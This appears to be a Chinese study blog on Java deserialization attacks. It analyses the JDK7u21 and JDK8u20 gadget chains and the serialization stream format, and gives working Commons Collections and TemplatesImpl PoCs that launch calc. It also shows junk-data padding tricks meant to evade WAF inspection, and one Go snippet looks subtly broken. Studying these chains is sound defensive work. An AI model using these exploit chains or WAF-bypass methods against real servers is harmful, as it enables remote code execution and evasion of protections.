继续学习java

JDK7u21

AnnotationInvocationHandler

漏洞点出现在 sun.reflect.annotation.AnnotationInvocationHandler类的equalsImpl方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

里面调用了一个getMemberMethods()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

这里获取了成员类里面的各种方法

1
var8 = var5.invoke(var1);

在这里执行了上面getMemberMethods的方法

可以用来触发newTransformer或者getOutputProperties来加载恶意字节码执行命令

查看这个函数的调用

image-20240201144302919

在这里的invoke方法中被调用。

调用invoke方法可以利用对象代理,只要调用任意方法就可以触发invoke方法

cc1中利用过

image-20240201144557302

那思路就是利用AnnotationInvocationHandler类

p神是这样解释的

image-20240201144702108

在invoke方法里面想要调用equalsImpl需要一些条件

1
2
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);

如果比较的方法用的是equal,且输入的只有一个object类型参数的时候,会调用equalsImpl方法

现在需要寻找一个在反序列化的时候能够对proxy调用equals方法的类了

equals

在集合set中,储存的对象不允许重复

在7u21中,利用了HashSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

将塞入set的东西使用hashmap处理去重

我们查看hashMap的puts方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

会计算塞入的值的hashcode,然后就与已经存在的值进行比较

但是如果想要触发这个equals方法,就需要让比较和被比较的两个对的哈希相同

Magic Number

在put过程中调用了hash方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
image-20240201161640181

在调用这个方法的时候,会触发AnnotationInvocationHandler的invoke方法

,然后调用hashCodeImpl

1
2
3
4
5
6
7
8
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

image-20240201162214781

寻找一个hacode为0的字符串,这样使得proxy计算的hashcode的值和template本身的hashcode一样了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public class jdk7u21 {
public static void main(String[] args) throws Exception {

// 构造恶意类字节码
// ClassPool classPool = ClassPool.getDefault();
// CtClass ctClass = classPool.getCtClass("org.example.CC.hello");
// byte[] bytes = ctClass.toBytecode();
// System.out.println(bytes);

//构造map
String zero = "f5a5a608";
HashMap map = new HashMap();
map.put(zero, "unevil");

//构造templatespml
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(org.example.CC.hello.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

//构造AnnotationInvocationHandler
Constructor handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handler.newInstance(Templates.class, map);

//构造动态代理对象
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
//构建hashset
HashSet set =new LinkedHashSet();
set.add(templates);
set.add(proxy);

map.put(zero, set);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

反序列化流程如下

从readobject开始,调用hashmap的put方法对传入的key去重

计算hashcode的是时候触发equals方法

调用AnnotationInvocationHandler#equalsImpl方法,触发方法遍历调用TemplatesImpl,触发任意代码执行。

条件

1
2
jdk7<=7u21
jdk6<=6u54

修复

在AnnotationInvocationHandler的readobject方法中,检测到type不是AnnotationType的情况下,抛出异常,导致无法正常反序列化。

java反序列化协议

先构造一个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws IOException {
test1 a = new test1();
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteStream);
oos.writeObject(a);
oos.flush();

byte[] serializedBytes = byteStream.toByteArray();
String base64String = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println(base64String);
}
}

class test1 implements Serializable{
int age=1;
String name ="AsaL1n";
}

输出

1
rO0ABXNyABFvcmcuZXhhbXBsZS50ZXN0MfjXNugM0eupAgACSQADYWdlTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAAXQABkFzYUwxbg==

使用工具[zkar](phith0n/zkar: ZKar is a Java serialization protocol analysis tool implement in Go. (github.com))分析

image-20240202133730095

Java Object Serialization Specification这篇官方文档中,给出了相关的结构定义

image-20240202135732869

实在是非常的长,我们只取一部分,结上面分析的结果来看看

1
2
stream:
magic version contents

在java的文档里面看到

1
2
final static short STREAM_MAGIC = (short)0xaced;
final static short STREAM_VERSION = 5;

在我们利用工具得到的协议中

image-20240202140000719

magic的值是0xaced,version的值是5

所以一个序列化协议流的开头是/xAC/xED/x00/x05

contents包括了content和contents或者只包含了content

这里是一个左递归,和编译原理有关

content包含了objects和blockdata,blockdata 是一个由数据长度加数 据本身组成的一个结构,里面可以填充任意内容。object里面可以包含了真正的java对象的结构,由以下的结构组成

1
2
3
4
5
6
7
8
9
10
11
newObject :表示一个对象
newClass :表示一个类
newArray :表示一个数组
newString :表示一个字符串
newEnum :表示一个枚举类型
newClassDesc :表示一个类定义
prevObject :一个引用,可以指向任意其他类型(通过Reference ID)
nullReference :表示null
exception :表示一个异常
TC_RESET :重置Reference ID

分析刚刚的数据看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72 //类的信息
@ClassName
@Length - 17 - 0x00 11 //类的名字长度
@Value - org.example.test1 - 0x6f 72 67 2e 65 78 61 6d 70 6c 65 2e 74 65 73 74 31
@SerialVersionUID - -515883262035235927 - 0xf8 d7 36 e8 0c d1 eb a9 //一个唯一的SerialVersionUID 前面提到过,java在序列化的时候根据相关的环境计算出的id
@Handler - 8257536 //结构拥有的id
@ClassDescFlags - SC_SERIALIZABLE - 0x02
@FieldCount - 2 - 0x00 02 //类成员
[]Fields
Index 0:
Integer - I - 0x49 //类属性
@FieldName
@Length - 3 - 0x00 03 //类长度
@Value - age - 0x61 67 65 //类名字
Index 1:
Object - L - 0x4c
@FieldName
@Length - 4 - 0x00 04
@Value - name - 0x6e 61 6d 65
@ClassName
TC_STRING - 0x74
@Handler - 8257537
@Length - 18 - 0x00 12
@Value - Ljava/lang/String; - 0x4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b
[]ClassAnnotations
TC_ENDBLOCKDATA - 0x78
@SuperClassDesc
TC_NULL - 0x70
@Handler - 8257538
[]ClassData
@ClassName - org.example.test1
{}Attributes
age
(integer)1 - 0x00 00 00 01
name
TC_STRING - 0x74
@Handler - 8257539
@Length - 6 - 0x00 06
@Value - AsaL1n - 0x41 73 61 4c 31 6e

脏数据污染序列化数据

大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。

我们可以寻找一个可以序列化,同时能将我们的恶意数据和垃圾字符包含在一起的类

主要还是大部分的集合类可以满足我们的要求,比如

1
2
3
4
5
1. ArrayList
2. LinkedList
3. HashMap
4. LinkedHashMap
5. TreeMap

主要思路是构建集合,添加大量的垃圾字符,加入我们恶意的对象,然后序列化生成

我们以cc1为例子

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.tomcat.util.http.fileupload.ByteArrayOutputStream;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;

public class CC1_waf {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);


Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);

handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ArrayList arry=new ArrayList();

String dirdata = "1";
for (int i = 1; i <= 10000; i++) {
dirdata += "1";
}
arry.add(dirdata);
arry.add(handler);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(arry);
oos.close();
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

我们添加了10000个1在序列化数据前,依然能成功弹出计算器

image-20240202144124222

用zkar查看我们塞入的垃圾数据(塞的太多了,我们以100个1为例子)

image-20240202150823690

可以看到我们的数据在恶意数据的前面,塞入了一个超级长的字符串,同时不影响我们的反序列化

image-20240202151016052

可以看到非常的长

blockdata脏字符填充

我们可以在这里填入藏字符,不影响反序列化的进行

以cc6为例子

我们先生成一个正常的bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
//import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
serialize(map2);
// unserialize("bin.ser");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin.ser"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

然后使用添加入字符串

ps:p神用go语言写的脚本,我能力不够,只能使用大佬的了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package main

import (
"io/ioutil"
"log"
"strings"

"github.com/phith0n/zkar/serz"
)

func main() {
data, _ := ioutil.ReadFile("D:\\Desktop\\bin.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_BLOCKDATALONG,
BlockData: &serz.TCBlockData{
Data: []byte(strings.Repeat("a", 40000)),
},
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("fakedata_bin.ser", serialization.ToBytes(), 0o755)
}

image-20240202153315378

可以看到可以正常rce

使用工具查看

1
java -jar SerializationDumper.jar -r fakedata_bin.bin

image-20240202153911582

可以看到塞入了很多的垃圾字符

不过这个只是将相关的垃圾数据塞入到了readobject的后端,并没有塞入前端,塞入后也会无法正常反序列化

TC_RESET 脏字符填充

java在处理的时候会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。

我们可以将数据塞入这个结构里面完成rce

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
"io/ioutil"
"log"
"strings"

"github.com/phith0n/zkar/serz"
)

func main() {
data, _ := ioutil.ReadFile("D:\\Desktop\\bin.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("fakedata_bin.ser", serialization.ToBytes(), 0o755)
}

jdk8u20

多重try_catch

java在内层的trycatch出现异常的时候,内层的代码会中断,但是外层的代码会正常执行下去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example.CC;

public class try_catch {
public static void main(String[] args) {

try {
int i = 2 / 1;
try {
int j = 2 / 0;
System.out.println("Inner End");
} catch (Exception e) {
System.out.println("Inner Error");
}
System.out.println("Outer End");
} catch (Exception e) {
System.out.println("Outer Error");
}
}
}

运行结果是

1
2
Inner Error
Outer End

利用链分析

修复后的AnnotationInvocationHandler增加了对序列化成员type的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

// ...

}

上文中提到了handle,我们看看他的定义

image-20240202164109357

从0x7E0000 开始,依次指向各个结构,每指向一个结构之后,+1,就像指针

在反序列化的时候,内存里面会留下完整的AnnotationInvocationHandler和对应的handler.真正需要用到AnnotationInvocationHandler的时候,ObjectInputStream会直接引用这个handler。

8u20利用了一个类叫做

java.beans.beancontext.BeanContextSupport

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();

initialize();

bcsPreDeserializationHook(ois);

if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);

deserialize(ois, bcmListeners = new ArrayList(1));
}
}

会调用readChildren方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;

while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;

try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
}

可以看到这里有child = ois.readObject();,如果这里调用了AnnotationInvocationHandler,虽然内层的以为type的原因不能直接反序列化,但是这里并不影响外面对他的调用,实现反序列化

poc

调试的时候一直有问题,贴一下其他师傅的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package ysoserial.test.payloads;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.util.ByteUtils;

import java.beans.beancontext.BeanContextSupport;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

import javax.xml.transform.Templates;


import ysoserial.Serializer;
import ysoserial.Deserializer;

public class Jdk8u20Test {

public static Class handlerWithWriteObject() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObjectMethod = CtMethod.make("" +
" private void writeObject(java.io.ObjectOutputStream s)\n" +
" throws java.io.IOException {\n" +
" s.defaultWriteObject();\n" +
" }", clazz);
clazz.addMethod(writeObjectMethod);
return clazz.toClass();
}

public static Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
handlerWithWriteObject()
).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

BeanContextSupport support = new BeanContextSupport();
HashMap childrenMap = new HashMap();
childrenMap.put(tempHandler, 0);
Reflections.setFieldValue(support, "children", childrenMap);
Reflections.setFieldValue(support, "serializable", 1);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(support);
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}

public static void writeExp() throws Exception {
byte[] ser = Serializer.serialize(getObject("calc"));
byte[] pattern = new byte[]{(byte) 0x78, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x11, (byte) 0x6A, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2E, (byte) 0x6C, (byte) 0x61, (byte) 0x6E, (byte) 0x67, (byte) 0x2E, (byte) 0x49, (byte)
0x6E, (byte) 0x74, (byte) 0x65, (byte) 0x67, (byte) 0x65, (byte) 0x72, (byte) 0x12, (byte) 0xE2, (byte) 0xA0, (byte) 0xA4, (byte) 0xF7, (byte) 0x81, (byte) 0x87, (byte) 0x38, (byte) 0x02, (byte) 0x00, (byte)
0x01, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x76, (byte) 0x61, (byte) 0x6C, (byte) 0x75, (byte) 0x65, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x10, (byte) 0x6A, (byte) 0x61, (byte) 0x76, (byte)
0x61, (byte) 0x2E, (byte) 0x6C, (byte) 0x61, (byte) 0x6E, (byte) 0x67, (byte) 0x2E, (byte) 0x4E, (byte) 0x75, (byte) 0x6D, (byte) 0x62, (byte) 0x65, (byte) 0x72, (byte) 0x86, (byte) 0xAC, (byte) 0x95, (byte)
0x1D, (byte) 0x0B, (byte) 0x94, (byte) 0xE0, (byte) 0x8B, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};
ser = ByteUtils.deleteByPattern(ser, pattern);
FileUtils.writeByteArrayToFile(new File("files/Jdk8u20/poc2.ser"), ser);

}

public static void main(String[] args) throws Exception {
// writeExp();
byte[] ser = FileUtils.readFileToByteArray(new File("files/Jdk8u20/poc2.ser"));
Deserializer.deserialize(ser);
}
}